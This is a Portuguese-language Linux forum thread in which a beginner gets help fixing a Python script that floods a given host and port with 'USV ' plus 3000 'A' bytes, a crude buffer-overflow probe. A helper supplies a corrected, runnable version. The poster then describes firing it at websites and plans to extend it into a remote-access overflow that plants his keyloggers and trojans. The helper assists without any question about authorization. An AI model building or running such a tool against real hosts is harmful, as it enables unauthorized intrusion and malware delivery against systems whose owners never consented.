NameError: name 'port' is not defined [RESOLVIDO]

1. NameError: name 'port' is not defined [RESOLVIDO]

Roberto
mrx6s0

(usa Ubuntu)

Enviado em 23/07/2016 - 17:49h

s.connect((host,port))
NameError: name 'host' is not defined

Ocorreu esse erro quando tentava terminar um código. O host está definido no início do código, entao deveria ser reconhecido normalmente.
Enfim, o código:

 
import os
import sys
import socket

for carg in sys.argv:
if carg == "-s":
argnum = sys.argv.index(carg)
argnum += 1
host = sys.argv[argnum]
elif carg == "-p":
argnum = sys.argv.index(carg)
argnum += 1
port = sys.argv[argnum]
buffer = "\x41"* 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("USV " + buffer + "//r//n//r")
s.close()
print ("BUFFER_EXPLOIT enviado com sucesso!")
print ("")
exit


Se alguém tiver alguma luz para me dar nesse código ficarei muito grato. Sou novo em programação, cerca de 8 meses. Comecei em c/c++ e agora estou explorando outras.

Toda ajuda é bem vinda!

Att,

mrx6s0


  


2. MELHOR RESPOSTA

Jeffersson Abreu
ctw6av

(usa Nenhuma)

Enviado em 23/07/2016 - 23:27h

Desculpe a demora, eu estava fazendo um lanchinho básico kkkk. fiz um rascunho aqui, tenta ai e vê no que dá:

#!/usr/bin/env python3

import argparse
import socket
import sys


def sender(host, port):
try:
buffer = b"\x41" * 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(b"USV " + buffer + b"//r//n//r")
s.close()
print("BUFFER_EXPLOIT enviado com sucesso!\n")
except KeyboardInterrupt:
print('Exiting...\n')

if __name__ == '__main__':
carg = argparse.ArgumentParser(description='Buffer overflow, I found it in a magazine',
epilog='Use me, but be carefull')

carg.add_argument('-d', '--host', type=str, help='Host to send the buffer', required=True)
carg.add_argument('-p', '--port', type=int, help='Port to send the buffer', required=True)
args = carg.parse_args()

host_ip = args.host
host_port = args.port

sender(host_ip, host_port)
sys.exit(0)


Dê a permissão de execução e informe o ip do host e a porta, cara isso vai mandar uma quantidade significativa de letras "A" para o host kkkk.




----------------------------------------------------------
Debiano com uma pitada de slack
----------------------------------------------------------

3. Re: NameError: name 'port' is not defined

Jeffersson Abreu
ctw6av

(usa Nenhuma)

Enviado em 23/07/2016 - 18:16h

Sou péssimo em ler códigos alheios, essa é minha maior fraqueza kkkk. Bom... você está tentando enviar uma string no lugar de bytes e vai dar um erro posteriormente para corrigir ficaria mais ou menos assim:
import socket
import sys

for carg in sys.argv:
if carg == "-s":
argnum = sys.argv.index(carg)
argnum += 1
host = sys.argv[argnum]
elif carg == "-p":
argnum = sys.argv[argnum]
argnum += 1
port = sys.argv[argnum]
buffer = b"41" * 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(b"USV " + buffer + b"//r//n//r")
s.close()
print("BUFFER_EXPLOIT enviado com sucesso!\n")
exit(0)


EDIT: Quanto aos argumentos da linha de comando, eles não estão sendo definidos corretamente.


----------------------------------------------------------
Debiano com uma pitada de slack
----------------------------------------------------------


4. Re: NameError: name 'port' is not defined [RESOLVIDO]

Roberto
mrx6s0

(usa Ubuntu)

Enviado em 23/07/2016 - 19:15h

ctw6av escreveu:

Sou péssimo em ler códigos alheios, essa é minha maior fraqueza kkkk. Bom... você está tentando enviar uma string no lugar de bytes e vai dar um erro posteriormente para corrigir ficaria mais ou menos assim:
import socket
import sys

for carg in sys.argv:
if carg == "-s":
argnum = sys.argv.index(carg)
argnum += 1
host = sys.argv[argnum]
elif carg == "-p":
argnum = sys.argv[argnum]
argnum += 1
port = sys.argv[argnum]
buffer = b"41" * 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(b"USV " + buffer + b"//r//n//r")
s.close()
print("BUFFER_EXPLOIT enviado com sucesso!\n")
exit(0)


EDIT: Quanto aos argumentos da linha de comando, eles não estão sendo definidos corretamente.


----------------------------------------------------------
Debiano com uma pitada de slack
----------------------------------------------------------


Oi amigo

Obrigado pela rápida resposta! Infelizmente, o erro permaneceu. :/
Esse código, na verdade, eu peguei de uma revista sobre Python, do meu primo que é formado em ciência da computação. Também reparei que os argumentos não estão bem definidos, mas como tava na revista, e consequentemente, alguém qualificado avaliou o código, não pensei que poderia ocorrer erros.
Consegui escrever outros códigos usando funções parecidas sem receber esse erro.
Tu tem alguma ideia de como corrigir?

Obrigado pela sua atenção

Att,


mrx6s0



5. Re: NameError: name 'port' is not defined [RESOLVIDO]

Roberto
mrx6s0

(usa Ubuntu)

Enviado em 23/07/2016 - 19:42h

Realmente o "host" não tá querendo se definir.

Por favor, alguém me dê alguma luz aqui. Já tentei modificar e não consegui.

O que pode ser?


6. Re: NameError: name 'port' is not defined [RESOLVIDO]

Roberto
mrx6s0

(usa Ubuntu)

Enviado em 24/07/2016 - 02:51h

ctw6av escreveu:

Desculpe a demora, eu estava fazendo um lanchinho básico kkkk. fiz um rascunho aqui, tenta ai e vê no que dá:

#!/usr/bin/env python3

import argparse
import socket
import sys


def sender(host, port):
try:
buffer = b"\x41" * 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(b"USV " + buffer + b"//r//n//r")
s.close()
print("BUFFER_EXPLOIT enviado com sucesso!\n")
except KeyboardInterrupt:
print('Exiting...\n')

if __name__ == '__main__':
carg = argparse.ArgumentParser(description='Buffer overflow, I found it in a magazine',
epilog='Use me, but be carefull')

carg.add_argument('-d', '--host', type=str, help='Host to send the buffer', required=True)
carg.add_argument('-p', '--port', type=int, help='Port to send the buffer', required=True)
args = carg.parse_args()

host_ip = args.host
host_port = args.port

sender(host_ip, host_port)
sys.exit(0)


Dê a permissão de execução e informe o ip do host e a porta, cara isso vai mandar uma quantidade significativa de letras "A" para o host kkkk.




----------------------------------------------------------
Debiano com uma pitada de slack
----------------------------------------------------------


HAhahahaha
valeu brother!!!
tu testou o código?
quero melhorar ele, transformar em um buffer over flow... tem muito que melhorar, mas é esse o caminho. hehe

Isso é experimental, claro, mas essencial para evolução.

Abração!


7. Re: NameError: name 'port' is not defined [RESOLVIDO]

Jeffersson Abreu
ctw6av

(usa Nenhuma)

Enviado em 24/07/2016 - 02:57h

De nada amigo se precisar estamos por aqui, eu também comecei a programar a mais ou menos uns 4 meses.



----------------------------------------------------------
Debiano com uma pitada de slack
----------------------------------------------------------


8. Re: NameError: name 'port' is not defined [RESOLVIDO]

Roberto
mrx6s0

(usa Ubuntu)

Enviado em 24/07/2016 - 17:52h

ctw6av escreveu:

De nada amigo se precisar estamos por aqui, eu também comecei a programar a mais ou menos uns 4 meses.



----------------------------------------------------------
Debiano com uma pitada de slack
----------------------------------------------------------


Amigo,

Tu sabe onde essas letras "A" vão ser alocadas no host? Pelo que percebi alguns sites não são vulneráveis, e dá o famoso timeout. Alguns é enviado na hora, tanto com o ip quanto com a url. :)
A gente podia trocar uma ideia e transformar esse código em algo mais potente, se é que tu me entende. hehehhe

Enfim, espero resposta

Abraço






9. Re: NameError: name 'port' is not defined [RESOLVIDO]

Jeffersson Abreu
ctw6av

(usa Nenhuma)

Enviado em 24/07/2016 - 18:07h

Não manjo muito de buffer overflow mas você pode encontrar informações aqui >> https://pt.wikipedia.org/wiki/Transbordamento_de_dados#Exemplo_b.C3.A1sico , até onde sei todos os buffers são armazenados na memória e um overflow quando bem sucedido sobrescreve a memória com comandos ou valores a favor do atacante.


----------------------------------------------------------
Debiano com uma pitada de slack
----------------------------------------------------------


10. Re: NameError: name 'port' is not defined [RESOLVIDO]

Roberto
mrx6s0

(usa Ubuntu)

Enviado em 24/07/2016 - 20:39h

ctw6av escreveu:

Não manjo muito de buffer overflow mas você pode encontrar informações aqui >> https://pt.wikipedia.org/wiki/Transbordamento_de_dados#Exemplo_b.C3.A1sico , até onde sei todos os buffers são armazenados na memória e um overflow quando bem sucedido sobrescreve a memória com comandos ou valores a favor do atacante.


----------------------------------------------------------
Debiano com uma pitada de slack
----------------------------------------------------------


ctw6av escreveu:

Não manjo muito de buffer overflow mas você pode encontrar informações aqui >> https://pt.wikipedia.org/wiki/Transbordamento_de_dados#Exemplo_b.C3.A1sico , até onde sei todos os buffers são armazenados na memória e um overflow quando bem sucedido sobrescreve a memória com comandos ou valores a favor do atacante.


----------------------------------------------------------
Debiano com uma pitada de slack
----------------------------------------------------------


Sim. Exatamente isso. Escrever um overflow que passe pelo sistema, e dê acesso ao computador remoto. Se estamos conseguindo enviar e alocar um enorme número de buffers no host, penso que, se implementar o código podemos ter uma ferramenta mais evoluída.

OU junto com os buffers alocar um código malicioso ou programa. Venho pensando nessa possibilidade há um tempo... tenho keylogger e trojans muito bons para isso. O brabo é que não achei conteúdos sobre isso.... alocar um código ou programa dentro de outro programa, programa esse que seja capaz de enviar dados.

Ah, e é claro, que é tudo eticamente. Pelo conhecimento.
Faço Engenharia Florestal, que não tem nada relacionado.
Gosto da programação pela liberdade que tu pode ter.

Enfim, espero resposta

E obrigado pelo seu tempo










Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts